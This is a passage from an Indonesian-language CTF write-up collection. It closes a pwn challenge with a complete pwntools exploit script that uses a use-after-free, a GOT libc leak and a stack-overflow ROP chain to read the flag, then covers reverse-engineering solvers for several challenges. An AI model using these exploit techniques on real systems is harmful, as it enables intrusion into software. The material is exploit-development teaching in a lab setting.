Dengan fake player, `players[0]->quote` bisa diarahkan ke alamat mana pun yang valid di 

address space child. Parent menerima data di `run_broker()`: 

int n = 0; 

char buf[0x90]; 

 

read(fd, &n, 4); 

read(fd, buf, n); 

puts("[Broker] Log processed successfully."); 

Tidak ada validasi `n <= sizeof(buf)`. Layout stack: 

rbp-0x90  broker stack buffer 

rbp       saved rbp 

rbp+0x08  saved rip 

Offset ke saved RIP: 0x90 + 0x8 = 0x98. Jadi jika parent membaca `0x98 + len(rop)` byte, saved 

RIP akan tertimpa ROP chain. Parent menerima bytes dari child socket. Bytes itu berasal dari 

memory child pada alamat `players[0]->quote`. Kita butuh alamat chunk yang berisi ROP chain. 

Karena `comments[]` adalah global No PIE, pointer comment bisa dileak dengan arbitrary 

C-string leak: 
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add(io, 2, 0x200, chain) 

raw_heap = leak_cstring(io, COMMENTS + 2 * 8) 

heap_chunk = u64(raw_heap.ljust(8, b"\x00")) 

Kemudian fake player diubah: 

edit(io, 0, fake_player(heap_chunk - 0x98)) 

Saat `submit_release()` mengirim data dari `heap_chunk - 0x98`, parent akan menerima: 

[0x98 bytes padding][ROP chain at heap_chunk] 

Padding tidak perlu dikontrol penuh. Yang penting byte tepat pada offset `0x98` adalah awal 

ROP chain. Submit: 

submit(io, 0, 0x98 + len(chain)) 

Setelah overflow, `run_broker()` belum langsung return. Ia print: [Broker] Log processed 

successfully. lalu loop lagi untuk membaca length berikutnya. Saved RIP yang sudah 

dioverwrite baru dipakai saat `run_broker()` keluar. Agar parent keluar dari loop broker: 

io.recvuntil(b"Choice: ") 

io.sendline(b"6") 

Choice `6` membuat child keluar dari menu dan menutup socketpair. Setelah socket tertutup, 

`read()` di parent broker mengembalikan 0, `run_broker()` return, lalu eksekusi lompat ke ROP 

chain. 

## ROP Chain Final 

ROP chain: 

return flat( 

    pop_rdi, 

    0, 

    pop_rsi, 

    FLAG_BUF, 

    *set_rdx(0x40), 
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    libc_base + libc.symbols["read"], 

 

    pop_rdi, 

    FLAG_BUF, 

    pop_rsi, 

    0, 

    libc_base + libc.symbols["open"], 

 

    pop_rdi, 

    4, 

    pop_rsi, 

    FLAG_BUF, 

    *set_rdx(0x100), 

    libc_base + libc.symbols["read"], 

 

    pop_rdi, 

    1, 

    pop_rsi, 

    FLAG_BUF, 

    *set_rdx(0x100), 

    libc_base + libc.symbols["write"], 

    libc_base + libc.symbols["exit"], 

) 

Alasan `read(0, FLAG_BUF, 0x40)` di awal: 

- Path flag harus berada di address space parent. 

- Heap chunk yang dibuat child setelah fork tidak otomatis ada di parent. 
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- Jadi parent ROP membaca path dari stdin ke global `.bss` `flag_buf`. 

Setelah mengirim pilihan menu `6`, script langsung mengirim path: 

io.sendline(b"6") 

io.send(path.encode() + b"\x00") 

Path yang berhasil di remote: /home/ctf/flag.txt 

Kenapa fd file flag diasumsikan `4`? 

- Program memakai fd 0, 1, 2 untuk stdin/stdout/stderr. 

- `socketpair()` biasanya memberi fd 3 dan 4. 

- Parent menutup salah satu sisi socketpair. 

- Parent sempat `open("flag.txt")`, lalu menutup fd hasil open jika berhasil. 

- Saat ROP memanggil `open(path, 0)`, fd kosong terendah yang dipakai kembali adalah `4`. 

Di remote, asumsi fd `4` valid. Urutan final di `solve.py`: 

#!/usr/bin/env python3 

from pathlib import Path 

import re 

 

from pwn import * 

 

 

context.clear(arch="amd64") 

 

ROOT = Path(__file__).resolve().parent 

CHAL = ROOT / "challenge" 

BIN = CHAL / "pildun.elf" 

PROVIDED_LIBC = CHAL / "libc.so.6" 
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LOCAL_LIBC = Path("/usr/lib/x86_64-linux-gnu/libc.so.6") 

 

exe = ELF(str(BIN), checksec=False) 

 

PRINT_MESSI = 0x401356 

COMMENTS = 0x405160 

FLAG_BUF = 0x405200 

DEFAULT_REMOTE_PATHS = [ 

    "/flag.txt", 

    "/flag", 

    "/home/ctf/flag.txt", 

    "/app/flag.txt", 

    "/challenge/flag.txt", 

    "flag.txt", 

] 

 

 

def selected_libc(): 

    if args.LIBC: 

        return ELF(args.LIBC, checksec=False) 

    if args.REMOTE: 

        return ELF(str(PROVIDED_LIBC), checksec=False) 

    return ELF(str(LOCAL_LIBC), checksec=False) 

 

 

libc = selected_libc() 
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def start(): 

    if args.REMOTE: 

        host = args.HOST or "127.0.0.1" 

        port = int(args.PORT or 5000) 

        return remote(host, port) 

    return process([str(BIN)], cwd=str(CHAL)) 

 

 

def menu(io, choice): 

    io.recvuntil(b"Choice: ") 

    io.sendline(str(choice).encode()) 

 

 

def add(io, slot, size, data): 

    menu(io, 2) 

    io.recvuntil(b": ") 

    io.sendline(str(slot).encode()) 

    io.recvuntil(b"Enter size: ") 

    io.sendline(str(size).encode()) 

    io.recvuntil(b"Enter comment: ") 

    io.send(data) 

 

 

def edit(io, slot, data): 
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    menu(io, 3) 

    io.recvuntil(b": ") 

    io.sendline(str(slot).encode()) 

    io.recvuntil(b"Enter new comment content: ") 

    io.send(data) 

 

 

def delete_player(io, idx): 

    menu(io, 4) 

    io.recvuntil(b": ") 

    io.sendline(str(idx).encode()) 

 

 

def view_player(io, idx): 

    menu(io, 1) 

    io.recvuntil(b": ") 

    io.sendline(str(idx).encode()) 

 

 

def submit(io, idx, size): 

    menu(io, 5) 

    io.recvuntil(b": ") 

    io.sendline(str(idx).encode()) 

    io.recvuntil(b"Enter size to send: ") 

    io.sendline(str(size).encode()) 
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def fake_player(quote_ptr): 

    return fit( 

        { 

            0x00: b"X\x00", 

            0x20: p64(quote_ptr), 

            0x28: p64(PRINT_MESSI), 

        }, 

        filler=b"A", 

        length=0x30, 

    ) 

 

 

def leak_cstring(io, ptr): 

    edit(io, 0, fake_player(ptr)) 

    view_player(io, 0) 

    io.recvuntil(b"Quote: ") 

    return io.recvuntil(b"\n\n---", drop=True) 

 

 

def unpack_leak(raw): 

    return u64(raw[:6].ljust(8, b"\x00")) 

 

 

def leak_libc_base(io): 

    symbols = ["printf", "puts", "malloc", "free", "read", "__isoc99_scanf"] 
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    for sym in symbols: 

        raw = leak_cstring(io, exe.got[sym]) 

        if len(raw) < 6: 

            continue 

        leak = unpack_leak(raw) 

        base = leak - libc.symbols[sym] 

        if base > 0 and base & 0xFFF == 0: 

            log.info("%s leak: %#x", sym, leak) 

            return base 

    raise RuntimeError("failed to leak a usable libc pointer") 

 

 

def path_candidates(): 

    if args.PATH: 

        return [args.PATH] 

    if args.REMOTE: 

        return DEFAULT_REMOTE_PATHS 

    return ["flag.txt"] 

 

 

def build_chain(libc_base): 

    rop = ROP(libc) 

    pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address 

    pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address 

 

    rdx = rop.find_gadget(["pop rdx", "ret"]) 
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    if rdx: 

        def set_rdx(value): 

            return [libc_base + rdx.address, value] 

    else: 

        rdx = rop.find_gadget(["pop rdx", "pop rbx", "ret"]) 

        def set_rdx(value): 

            return [libc_base + rdx.address, value, 0] 

 

    return flat( 

        pop_rdi, 

        0, 

        pop_rsi, 

        FLAG_BUF, 

        *set_rdx(0x40), 

        libc_base + libc.symbols["read"], 

 

        pop_rdi, 

        FLAG_BUF, 

        pop_rsi, 

        0, 

        libc_base + libc.symbols["open"], 

 

        pop_rdi, 

        4, 

        pop_rsi, 

        FLAG_BUF, 
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        *set_rdx(0x100), 

        libc_base + libc.symbols["read"], 

 

        pop_rdi, 

        1, 

        pop_rsi, 

        FLAG_BUF, 

        *set_rdx(0x100), 

        libc_base + libc.symbols["write"], 

        libc_base + libc.symbols["exit"], 

    ) 

 

 

def run_once(path): 

    io = start() 

 

    delete_player(io, 0) 

    add(io, 0, 0x38, fake_player(exe.got["printf"])) 

 

    libc_base = leak_libc_base(io) 

    log.info("libc base: %#x", libc_base) 

 

    chain = build_chain(libc_base) 

    log.info("ROP length: %#x", len(chain)) 

 

    add(io, 1, 0x40, b"B" * 0x3F) 
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    add(io, 2, 0x200, chain) 

 

    raw_heap = leak_cstring(io, COMMENTS + 2 * 8) 

    heap_chunk = u64(raw_heap.ljust(8, b"\x00")) 

    log.info("ROP chunk: %#x", heap_chunk) 

 

    edit(io, 0, fake_player(heap_chunk - 0x98)) 

    submit(io, 0, 0x98 + len(chain)) 

 

    io.recvuntil(b"Choice: ") 

    io.sendline(b"6") 

    io.send(path.encode() + b"\x00") 

 

    out = io.recvall(timeout=3) 

    io.close() 

    return out 

 

 

def main(): 

    for path in path_candidates(): 

        log.info("trying path: %s", path) 

        out = run_once(path) 

        out = out.replace(b"\x00", b"") 

        if b"mock_flag_for_testing_and_validation" in out: 

            log.warning("got the embedded mock flag, trying another path") 

            continue 
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        match = re.search(rb"[A-Z0-9_]*\{[^}\n]*\}", out) 

        if match: 

            print(match.group(0).decode(errors="ignore")) 

            return 

 

        log.warning("no flag found for %s", path) 

        if args.PATH: 

            print(out.decode(errors="ignore")) 

            return 

 

    raise SystemExit("no candidate path produced a non-mock flag") 

 

 

if __name__ == "__main__": 

    main() 

Penjelasan tiap langkah: 

1. `delete_player(0)` membuat UAF pada `players[0]`. 

2. `add(0, 0x38, fake_player(...))` reclaim chunk player sebagai fake player. 

3. Fake player diarahkan ke GOT untuk leak libc. 

4. Setelah libc base diketahui, ROP chain dibangun dari gadget libc. 

5. `add(2, 0x200, chain)` menaruh ROP chain di heap child. 

6. Pointer chunk ROP dileak dari `comments[2]`. 

7. Fake player diubah agar `quote = rop_chunk - 0x98`. 

8. `submit_release()` mengirim data ke parent broker dan overwrite saved RIP. 
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9. Choice `6` menutup socket agar broker return. 

10. Parent menjalankan ROP, membaca path, open/read/write flag. 

FLAG: GCW{m3ss1_vs_r0nald0_p1ldun_1_ch00se_r0nald0wat1} 
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Reverse Engineering 
WIWOKDETOK (100 Points) 

 

Dude, listen to me. This is urgent, sangat berbahaya. 
Seseorang telah masuk ke gorong gorong. Can you stop him 
before he go deeply? please find him and stop him. 

nc ctf.gcwug.com 31337 
 

Author: lyocs 

Jadi pada challenge ini kita diberikan 2 file yaitu lorem dan wokdetok dan disini saya mengecek 

tipe file nya terlebih dahulu 

 

Binary utama adalah wokdetok, sedangkan lorem hanya file teks biasa. Lalu disini saya cek 

isi file dari lorem 

 

Dari sini sudah jelas bahwa lorem adalah decoy. Flag yang terlihat di sana bukan flag asli. Lalu 

disini saya juga mengecek file dari wokdetok. 
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Disini juga terdapat flag decoy. Dan ketika dijalankan binary tersebut meminta input. 

 

Dari hasil disassembly/decompiler, program melakukan beberapa hal: 

1.​ Generate nonce 16 byte memakai getrandom. 

2.​ Jika gagal, fallback ke /dev/urandom. 

3.​ Jika masih gagal, fallback lagi ke pseudo-random dari time() dan getpid(). 

4.​ Membangun buffer/stage terenkripsi. 

5.​ Melakukan unpack/decrypt stage berukuran sekitar 0x680. 

6.​ Menjalankan logic mirip VM/rolling trace untuk menghasilkan expected proof 32 

byte. 

7.​ Membandingkan input user dengan expected proof. 

8.​ Jika cocok, program masuk ke success branch dan mencetak flag. 

Bagian penting ada setelah compare proof. Secara disassembly, bagian compare-nya terlihat 

seperti ini: 

1d98: movdqa xmm0, [rsp+0x70] 

1d9e: movdqa xmm1, [rsp+0x60] 

1da4: pxor   xmm1, [rsp+0x80] 

1dad: pxor   xmm0, [rsp+0x50] 
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... 

1df1: test   al, al 

1df3: jne    fail_branch 

Artinya program membandingkan 32 byte input hasil decode hex dengan expected proof. Kalau 

beda, masuk fail branch. Kalau sama, lanjut ke success branch. 

Success branch dimulai sekitar sini: 

1e02: lea r9, [rip+0x1477]  ; 0x3280 

1e09: lea r8, [rip+0x1430]  ; 0x3240 

... 

1e10: loop reconstruct flag 

... 

1e49: call puts 

Ini sangat penting: setelah validasi proof, program tidak membaca flag dari file. Program 

membangun flag sendiri dari dua array statik di .rodata. 

 

Karena address dan file offset .rodata sama-sama 0x3000, maka alamat 0x3240 dan 0x3280 

bisa langsung dipakai sebagai offset file. 

Dump sekitar area tersebut: 
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Array pertama di 0x3240, panjang 0x31 byte: 

05 8a 20 68 97 61 12 4d 5b 3b cd 3f 7e b5 f1 71 

6a 9d 24 0c a6 60 f8 74 cf cf 50 6a b5 1c 74 fa 

e9 7d 04 0c 6a a4 67 8e 01 24 c3 2e a0 71 30 1a 

5f 

Array kedua di 0x3280, panjang 0x10 byte: 

42 9d 17 c3 58 ae 31 74 0b e6 55 8c d2 29 fa 60 

Dari success branch: 

1e02: lea r9, [rip+0x1477] ; B = 0x3280 

1e09: lea r8, [rip+0x1430] ; A = 0x3240 

 

1e13: movzx edi, byte ptr [r8+rax] 

1e18: and   edx, 0xf 

1e1b: movzx ebx, byte ptr [r9+rdx] 

1e20: xor   edi, esi 

1e22: add   esi, 0xb 

1e25: add   ebx, ecx 

1e27: add   ecx, 0x25 

1e2c: xor   edx, edi 

1e2e: mov   byte ptr [r10+rax], dl 

1e32: add   rax, 1 

1e36: cmp   rax, 0x31 
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Diterjemahkan ke pseudo-code: 

for (i = 0; i < 0x31; i++) { 

   x = A[i] ^ ((0x0b * i) & 0xff); 

   y = B[i & 0xf] + ((0x25 * i) & 0xff); 

   flag[i] = x ^ (y & 0xff); 

} 

flag[0x31] = 0; 

puts(flag); 

Panjang flag adalah 0x31 = 49 karakter. 

Dan berikut solver scriptnya. 

#!/usr/bin/env python3 

from pathlib import Path 

import sys 

path = sys.argv[1] if len(sys.argv) > 1 else "wokdetok" 

elf = Path(path).read_bytes() 

 

# .rodata VA == file offset pada binary ini 

A = elf[0x3240:0x3240 + 0x31] 

B = elf[0x3280:0x3280 + 0x10] 

flag = bytearray() 

 

for i in range(0x31): 

    x = A[i] ^ ((0x0b * i) & 0xff) 
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    y = (B[i & 0xf] + (0x25 * i)) & 0xff 

    flag.append(x ^ y) 

print(flag.decode()) 

 

FLAG: GCW{W1_w0kdet0k_H4S_F0UND_Y0_yntkts_j4j4j4j4j4j4} 
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RETRO ARCADE GCW 2.0 (100 Points) 
 

wok tolongin wok, arcade game kita rusak. plis wok i need this 
my arcade kinda browken, i live with my games🫩🫪 

nc ctf.gcwug.com 40133 
 

Author: lyocs 

Challenge ini memberikan sebuah binary Windows bernama retro_arcade_trainer.exe. Saat 

dijalankan, program meminta sebuah seed_hex, lalu meminta tiga input berantai: 

[1/3] Ghost Runner route 

[2/3] Fuse Grid signature 

[3/3] Orbit key 

Pada versi remote, service berjalan di: nc ctf.gcwug.com 40133 

Service akan memberikan Session Seed yang berbeda setiap koneksi. Jika salah satu input 

salah, koneksi langsung diputus. Tujuan challenge adalah melakukan reverse engineering 

terhadap binary lokal untuk mendapatkan algoritma pembentukan jawaban, lalu membuat 

solver otomatis untuk remote. 

Langkah pertama adalah mengecek tipe file: file retro_arcade_trainer.exe 

Hasilnya menunjukkan bahwa file adalah executable Windows. Setelah dicek lebih lanjut 

menggunakan tool seperti strings, terlihat beberapa indikasi bahwa binary dibuat 

menggunakan PyInstaller. Contoh indikasi umum PyInstaller: PyInstaller, PYZ, pyi-runtime, 

python DLL. Artinya, binary ini bukan native C/C++ murni, melainkan bundle Python yang 

dibungkus menjadi .exe. Karena binary merupakan PyInstaller bundle, langkah berikutnya 

adalah mengekstrak isi archive-nya.  

Salah satu tool yang bisa digunakan: python3 pyinstxtractor.py retro_arcade_trainer.exe 
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Setelah diekstrak, muncul direktori hasil ekstraksi yang berisi banyak file Python runtime dan 

archive internal. Di dalamnya ditemukan script utama bernama: arcade_trainer Script tersebut 

tidak langsung berbentuk .py, melainkan bytecode Python. 

Bytecode yang ditemukan berasal dari Python versi baru, sehingga beberapa decompiler lama 

gagal melakukan decompile otomatis. Namun, dari hasil disassembly bytecode, fungsi-fungsi 

penting berhasil diidentifikasi: 

u32() 

rol32() 

ror32() 

stage1_route() 

stage2_fuse() 

stage3_orbit() 

main() 

Program menerima satu argumen berupa seed dalam format hexadecimal: 

seed = int(sys.argv[1], 16) & 0xffffffff 

Kemudian program menghitung tiga jawaban: 

route = stage1_route(seed) 

fuse = stage2_fuse(seed, route) 

orbit = stage3_orbit(seed, route, fuse) 

Input user dibandingkan dengan hasil perhitungan tersebut. Jika cocok, stage lanjut. Jika salah, 

program gagal. Program menggunakan operasi integer 32-bit. Karena Python integer tidak 

overflow secara otomatis, program memakai masking:  

MASK32 = 0xffffffff 
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def u32(x): 

    return x & MASK32 

Selain itu, program memakai operasi rotate kiri dan rotate kanan: 

def rol32(x, r): 

    r &= 31 

    x = u32(x) 

    return u32((x << r) | (x >> (32 - r))) 

 

def ror32(x, r): 

    r &= 31 

    x = u32(x) 

    return u32((x >> r) | (x << (32 - r))) 

Operasi rotate ini sangat penting. Jika arah rotate salah, hasil stage 1 langsung gagal. Stage 

pertama menghasilkan route sepanjang 24 karakter. Karakter yang digunakan hanya: 

U D L R 

Algoritmanya berbasis PRNG sederhana dari seed. 

def stage1_route(seed): alphabet = "UDLR" x = u32(seed ^ 0xA943F9A7) out = [] for i in 

range(24): x = u32( ((x * 0x41C64E6D) + 0x3039) ^ rol32(x, (i % 7) + 1) ^ (0x9E3779B9 * (i + 

1)) ) idx = u32( x ^ (x >> 9) ^ (x >> 17) ^ (i * 0x045D9F3B) ) & 3 out.append(alphabet[idx]) 

return "".join(out)  

Penjelasan: 

1.​ Seed di-XOR dengan konstanta 0xA943F9A7. 

2.​ Nilai internal x diperbarui sebanyak 24 kali. 

3.​ Setiap iterasi menghasilkan index 0 sampai 3. 

4.​ Index tersebut dipakai untuk memilih karakter dari string "UDLR". 
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5.​ Hasil akhirnya adalah route 24 karakter. 

Contoh format output stage 1: 

DUDDRRRUDRURDRLDUUURLDRR 

Stage kedua menggunakan seed dan route dari stage pertama. Output-nya berupa tiga integer 

32-bit dalam format hexadecimal, dipisahkan tanda -. 

Format output: 

xxxxxxxx-xxxxxxxx-xxxxxxxx  

Algoritmanya: 

def stage2_fuse(seed, route): 

    a = u32(seed ^ 0x13579BDF) 

    b = u32(rol32(seed, 11) ^ 0x2468ACE0) 

    c = u32(ror32(seed, 7) ^ 0xDEADBEEF) 

 

    for i, ch in enumerate(route): 

        v = ord(ch) + i * 13 

 

        a = u32(rol32(a ^ (v * 0x1F123BB5), (i % 5) + 3) + b) 

        b = u32(ror32(b + (v * 0x9E3779B1), (i % 7) + 2) ^ c) 

        c = u32((c ^ rol32(v * 0x045D9F3B, i % 11)) + a) 

 

    o1 = u32((a ^ rol32(c, 3)) + 0x10203040) 

    o2 = u32((b ^ ror32(a, 5)) + 0x55667788) 

    o3 = u32((c ^ rol32(b, 9)) + 0x99AABBCC) 
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    return f"{o1:08x}-{o2:08x}-{o3:08x}" 

Penjelasan: 

1.​ Tiga state awal dibuat dari seed: a, b, dan c. 

2.​ Setiap karakter route diproses satu per satu. 

3.​ Nilai ASCII karakter route digunakan sebagai bagian dari mixing. 

4.​ Setelah seluruh route diproses, program menghasilkan tiga output 32-bit. 

5.​ Output ditulis sebagai hex lowercase dengan padding 8 digit. 

Stage ketiga memakai seed, route, dan fuse dari stage sebelumnya. Output akhirnya adalah 

string hex sepanjang 24 karakter. 

def stage3_orbit(seed, route, fuse): 

    p1, p2, p3 = [int(x, 16) for x in fuse.split("-")] 

 

    left  = u32(seed ^ p1 ^ 0xC000D00D) 

    right = u32(rol32(seed, 13) ^ p2 ^ 0xBADF00D2) 

    core  = u32(ror32(seed, 3) ^ p3 ^ 0x1337C0DE) 

 

    for i, ch in enumerate(route): 

        v = (ord(ch) * 0x01000193) ^ (i * 0x00009E37) 

 

        t1 = u32(rol32(right ^ v, (i % 13) + 3) + core) 

        t2 = u32(ror32(left + v, (i % 11) + 5) ^ core) 

 

        core = u32((core ^ t1 ^ t2) + 0x7F4A7C55) 
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        right, left = t1, t2 

 

    k1 = u32(left ^ 0x31415926) 

    k2 = u32(right ^ 0x27182818) 

    k3 = u32(core ^ 0xDEADCA1E) 

 

    return f"{k1:08x}{k2:08x}{k3:08x}" 

Bagian penting pada stage ini adalah assignment: 

right, left = t1, t2 

Jika tertukar menjadi: 

left, right = t1, t2 

maka hasil orbit key akan salah. 

Dan berikut solver scriptnya. 

#!/usr/bin/env python3 

import argparse 

import re 

import socket 

import sys 

 

MASK32 = 0xFFFFFFFF 
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def u32(x: int) -> int: 

    return x & MASK32 

 

def rol32(x: int, r: int) -> int: 

    r &= 31 

    x = u32(x) 

    return u32((x << r) | (x >> (32 - r))) 

 

def ror32(x: int, r: int) -> int: 

    r &= 31 

    x = u32(x) 

    return u32((x >> r) | (x << (32 - r))) 

 

def stage1_route(seed: int) -> str: 

    alphabet = "UDLR" 

    x = u32(seed ^ 0xA93F1C27) 

    out = [] 

    for i in range(24): 

        x = u32( 

            (x * 0x41C64E6D + 0x3039) 

            ^ rol32(x, i % 7 + 1) 

            ^ (0x9E3779B9 * (i + 1)) 

        ) 
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        idx = u32(x ^ (x >> 9) ^ (x >> 17) ^ (i * 0x045D9F3B)) & 3 

        out.append(alphabet[idx]) 

    return "".join(out) 

 

def stage2_fuse(seed: int, route: str) -> str: 

    a = u32(seed ^ 0x13579BDF) 

    b = u32(rol32(seed, 11) ^ 0x2468ACE0) 

    c = u32(ror32(seed, 7) ^ 0xDEADBEEF) 

 

    for i, ch in enumerate(route): 

        v = ord(ch) + i * 13 

        a = u32(rol32(a ^ v * 0x1F123BB5, i % 5 + 3) + b) 

        b = u32(ror32(b + v * 0x9E3779B1, i % 7 + 2) ^ c) 

        c = u32((c ^ rol32(v * 0x045D9F3B, i % 11)) + a) 

 

    o1 = u32((a ^ rol32(c, 3)) + 0x10203040) 

    o2 = u32((b ^ ror32(a, 5)) + 0x55667788) 

    o3 = u32((c ^ rol32(b, 9)) + 0x99AABBCC) 

    return f"{o1:08x}-{o2:08x}-{o3:08x}" 

 

def stage3_orbit(seed: int, route: str, fuse: str) -> str: 

    p1, p2, p3 = [int(x, 16) for x in fuse.split("-")] 

    left = u32(seed ^ p1 ^ 0xC001D00D) 
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    right = u32(rol32(seed, 13) ^ p2 ^ 0xBAD22222) 

    core = u32(ror32(seed, 3) ^ p3 ^ 0x1337C0DE) 

 

    for i, ch in enumerate(route): 

        v = ord(ch) * 0x01000193 ^ i * 0x9E37 

        t1 = u32(rol32(right ^ v, i % 13 + 3) + core) 

        t2 = u32(ror32(left + v, i % 11 + 5) ^ core) 

        core = u32((core ^ t1 ^ t2) + 0x7F4A7C15) 

        left, right = t1, t2 

 

    k1 = u32(left ^ 0x31415926) 

    k2 = u32(right ^ 0x27182818) 

    k3 = u32(core ^ 0xDEADC0DE) 

    return f"{k1:08x}{k2:08x}{k3:08x}" 

 

def solve(seed: int) -> tuple[str, str, str]: 

    route = stage1_route(seed) 

    fuse = stage2_fuse(seed, route) 

    orbit = stage3_orbit(seed, route, fuse) 

    return route, fuse, orbit 

 

def extract_seed(data: bytes) -> int | None: 

    text = data.decode(errors="replace") 
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    patterns = ( 

        r"(?i)\bseed\s*(?:is|[:=])\s*(?:0x)?([0-9a-f]{8})\b", 

        r"(?i)\b(?:0x)([0-9a-f]{8})\b", 

        r"(?i)\b([0-9a-f]{8})\b", 

    ) 

    for pattern in patterns: 

        match = re.search(pattern, text) 

        if match: 

            return int(match.group(1), 16) 

    return None 

 

def run_remote(host: str, port: int) -> None: 

    with socket.create_connection((host, port), timeout=10) as sock: 

        sock.settimeout(1) 

        transcript = bytearray() 

        answers = None 

        sent = 0 

 

        while True: 

            try: 

                chunk = sock.recv(4096) 

            except TimeoutError: 

                if transcript: 
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                    sys.stdout.flush() 

                continue 

 

            if not chunk: 

                break 

 

            sys.stdout.buffer.write(chunk) 

            sys.stdout.buffer.flush() 

            transcript.extend(chunk) 

 

            if answers is None: 

                seed = extract_seed(transcript) 

                if seed is not None: 

                    answers = solve(seed) 

                    print( 

                        f"\n[solver] seed={seed:08x} " 

                        f"route={answers[0]} fuse={answers[1]} " 

                        f"orbit={answers[2]}", 

                        file=sys.stderr, 

                    ) 

 

            if answers is not None: 

                lower = transcript.lower() 
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                prompts = (b"[1/3]", b"[2/3]", b"[3/3]") 

                while sent < 3 and prompts[sent] in lower: 

                    sock.sendall(answers[sent].encode() + b"\n") 

                    sent += 1 

                    transcript.clear() 

                    break 

 

def main() -> None: 

    parser = argparse.ArgumentParser() 

    parser.add_argument("seed", nargs="?", help="32-bit hexadecimal seed") 

    parser.add_argument("--host", default="ctf.gcwug.com") 

    parser.add_argument("--port", type=int, default=40133) 

    args = parser.parse_args() 

 

    if args.seed is None: 

        run_remote(args.host, args.port) 

        return 

 

    seed = int(args.seed, 16) & MASK32 

    print("\n".join(solve(seed))) 

 

if __name__ == "__main__": 

    main() 
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FLAG: GCW{th1s_1s_fun_y3t_CONFUS1NG_BGT_BGT_BGT_tbltbltbl} 
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United Clanker (100 Points) 
 

Clankers unite to create the biggest bullshit in CTF history. 

 

Author: skuuzie 

Jadi challenge ini berupa file Android APK. Secara umum, aplikasi meminta user memilih 

sebuah gambar QR/tile. Gambar tersebut kemudian diproses oleh native library untuk 

melewati dua tahap validasi. 

Validasi pertama memakai data dari bin_0.json untuk menentukan string QR yang benar. 

Setelah tahap pertama benar, aplikasi mendekripsi asset bin_1 sebagai data bank. Dari data 

bank tersebut, aplikasi mengambil beberapa komponen seperti WebAssembly RNG, constraint, 

dan encrypted flag. Constraint tersebut kemudian diselesaikan untuk mendapatkan password 

final. Password final dipakai sebagai key AES-GCM untuk mendekripsi flag. 

Pertama APK diekstrak menggunakan apktool: 

apktool d chall.apk -o out 

Dari hasil ekstraksi, ditemukan beberapa file penting: assets/bin_0.json, assets/bin_1, 

lib/*/libaegis.so, lib/*/libgojni.so 

File bin_0.json dan bin_1 adalah asset utama. Sementara itu, logic penting berada di native 

library, terutama libaegis.so dan libgojni.so. 

Dari hasil decompile APK menggunakan Jadx, ditemukan class native wrapper bernama 

aegis.Aegis. 

Beberapa function native yang penting: 

aegis.Aegis.dbr(byte[] dbrBytes, byte[] password): boolean 

aegis.Aegis.getInt(long key): byte[] 

aegis.Aegis.getString(String key): byte[] 
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aegis.Aegis.guessOrDie(byte[] input): boolean 

Selain itu, ada class native lain bernama Clanker yang memiliki function: 

Clanker.loadImage(AssetManager, Context, String): boolean 

Clanker.getErrorMessage(): String 

Dari sini dapat disimpulkan bahwa aplikasi tidak melakukan validasi utama di Java/Kotlin. Java 

hanya menjadi wrapper, sementara logic validasi disembunyikan di native library. Isi 

bin_0.json berupa 25 node, masing-masing memiliki id dan data. 

Contohnya: 

[ 

  {"id":0,"data":"T"}, 

  {"id":1,"data":"L"}, 

  {"id":2,"data":"V"}, 

  {"id":3,"data":"b"}, 

  {"id":4,"data":"H"} 

] 

Jika langsung digabung berdasarkan urutan ID, hasilnya bukan jawaban yang benar. Native 

code melakukan sorting berdasarkan hash. 

Algoritma sorting-nya: 

score(id) = SHA256(seed || "|POS|" || u32_le(id)) 

Seed yang digunakan adalah: 

Setiap node dihitung score-nya, lalu node diurutkan berdasarkan digest SHA-256 tersebut. 

Setelah diurutkan, field data dari setiap node digabung menjadi string stage pertama. 

Script untuk recover string pertama: 
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import hashlib 

import struct 

 

nodes = [ 

    {"id":0,"data":"T"}, {"id":1,"data":"L"}, {"id":2,"data":"V"}, 

    {"id":3,"data":"b"}, {"id":4,"data":"H"}, {"id":5,"data":"m"}, 

    {"id":6,"data":"k"}, {"id":7,"data":"s"}, {"id":8,"data":"F"}, 

    {"id":9,"data":"C"}, {"id":10,"data":"D"}, {"id":11,"data":"V"}, 

    {"id":12,"data":"q"}, {"id":13,"data":"P"}, {"id":14,"data":"6"}, 

    {"id":15,"data":"i"}, {"id":16,"data":"9"}, {"id":17,"data":"D"}, 

    {"id":18,"data":"i"}, {"id":19,"data":"Q"}, {"id":20,"data":"f"}, 

    {"id":21,"data":"X"}, {"id":22,"data":"C"}, {"id":23,"data":"A"}, 

    {"id":24,"data":"x"}, 

] 

 

seed = b"1" 

 

def score(node_id): 

    return hashlib.sha256(seed + b"|POS|" + struct.pack("<I", node_id)).digest() 

 

order = sorted([n["id"] for n in nodes], key=lambda i: (score(i), i)) 

data_by_id = {n["id"]: n["data"] for n in nodes} 
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stage1 = "".join(data_by_id[i] for i in order) 

print(order) 

print(stage1) 

Output: 

[4, 24, 14, 6, 1, 22, 3, 0, 15, 10, 21, 7, 18, 8, 9, 2, 17, 5, 13, 12, 11, 23, 19, 20, 16] 

Hx6kLCbTiDXsiFCVDmPqVAQf9 

Jadi string validasi pertama adalah: Hx6kLCbTiDXsiFCVDmPqVAQf9.  

Setelah stage pertama benar, aplikasi memproses asset bin_1. File bin_1 ternyata adalah data 

base64. Setelah didecode, hasilnya didekripsi menggunakan AES-GCM. 

Key AES-GCM berasal dari: SHA256(stage1_string) 

Nonce yang digunakan adalah 12 byte null: 00 00 00 00 00 00 00 00 00 00 00 00 

Jadi dekripsi data bank: 

import base64 

import hashlib 

from pathlib import Path 

from cryptography.hazmat.primitives.ciphers.aead import AESGCM 

 

stage1 = b"Hx6kLCbTiDXsiFCVDmPqVAQf9" 

 

raw = Path("assets/bin_1").read_bytes() 

ct = base64.b64decode(raw) 

 

key = hashlib.sha256(stage1).digest() 
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nonce = b"\x00" * 12 

 

db = AESGCM(key).decrypt(nonce, ct, None) 

 

Path("db.dec").write_bytes(db) 

print(len(db)) 

Setelah berhasil didekripsi, didapatkan sebuah data bank internal. Data bank memiliki format 

record sederhana. Setiap record berisi: 

size    : 4 byte little-endian, key     : 4 byte little-endian, data    : size - 4 byte 

Data setiap record masih di-XOR dengan byte rendah dari key: decoded_byte = encoded_byte 

XOR (key & 0xff) 

Parser-nya: 

import struct 

 

records = {} 

pos = 0 

 

while pos < len(db): 

    size, key = struct.unpack_from("<II", db, pos) 

    data_len = size - 4 

 

    enc = db[pos + 8 : pos + 8 + data_len] 

    dec = bytes(b ^ (key & 0xff) for b in enc) 
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    records[key] = dec 

    pos += size + 4 

